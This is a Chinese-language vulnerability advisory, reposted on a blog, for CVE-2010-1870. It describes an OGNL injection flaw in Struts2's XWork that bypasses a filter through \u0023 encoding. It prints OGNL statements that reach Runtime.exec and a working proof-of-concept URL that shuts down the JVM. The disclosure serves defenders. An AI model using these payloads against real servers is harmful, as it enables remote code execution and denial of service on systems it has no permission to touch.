天天看點

XWork ParameterInterceptor類繞過安全限制漏洞-描述

? XWork ParameterInterceptor類繞過安全限制漏洞

問題描述:

XWork ParameterInterceptor類繞過安全限制漏洞

釋出日期:2010-07-09

更新日期:2010-07-15

受影響系統:

     OpenSymphony XWork < 2.2.0

     Apache Group Struts < 2.2.0

描述:CVE ID: CVE-2010-1870

XWork是一個指令模式架構,用于支援Struts 2及其他應用。

Struts2中WebWork架構使用XWork基于HTTP參數名執行操作和調用,将每個HTTP參數名處理為OGNL(對象圖形導航語言)語句,而 OGNL将:

user.address.city=Bishkek&user['favoriteDrink']=kumys

轉換為:

action.getUser().getAddress().setCity("Bishkek")

action.getUser().setFavoriteDrink("kumys")

這是通過ParametersInterceptor來執行的,使用使用者提供的HTTP參數調用ValueStack.setValue()。

除了擷取和設定屬性外,OGNL還支援其他一些功能:

     * 方法調用:foo()

     * 靜态方式調用: @java.lang.System@exit(1)

     * 建構函數調用:new MyClass()

     * 處理上下文變量:#foo = new MyClass()

由于HTTP參數名為OGNL語句,為了防範攻擊者通過HTTP參數調用任意方式,XWork使用了以下兩個變量保護方式的執行:

     * OgnlContext的屬性xwork.MethodAccessor.denyMethodExecution(預設設定為true)

     * SecurityMemberAccess私有字段allowStaticMethodAccess(預設設定為false)

為了友善開發人員通路各種常用的對象,XWork提供了一些預定義的上下文變量:

     * #application

     * #session

     * #request

     * #parameters

     * #attr

     * #context

     * #_memberAccess

     * #root

     * #this

     * #_typeResolver

     * #_classResolver

     * #_traceEvaluations

     * #_lastEvaluation

     * #_keepLastEvaluation

這些變量代表各種伺服器端對象。為了防範篡改伺服器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字元,但如果使用了Java的unicode字元串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:

#_memberAccess['allowStaticMethodAccess'] = true

#foo = new java .lang.Boolean("false")

#context['xwork.MethodAccessor.denyMethodExecution'] = #foo

#rt = @java.lang.Runtime@getRuntime()

#rt.exec('mkdir /tmp/PWNED')

<*來源:Meder Kydyraliev ([email protected]

   連結:http://secunia.com/advisories/32495/

         http://www.exploit-db.com/exploits/14360/

*>

測試方法:

警 告

以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1

建議:廠商更新檔:

Apache Group

------------

目前廠商已經釋出了更新更新檔以修複這個安全問題,請到廠商的首頁下載下傳:

<a href="http://svn.apache.org/viewvc?view=revision&amp;revision=956389">http://svn.apache.org/viewvc?view=revision&amp;revision=956389</a>

本文轉自jooben 51CTO部落格,原文連結:http://blog.51cto.com/jooben/352949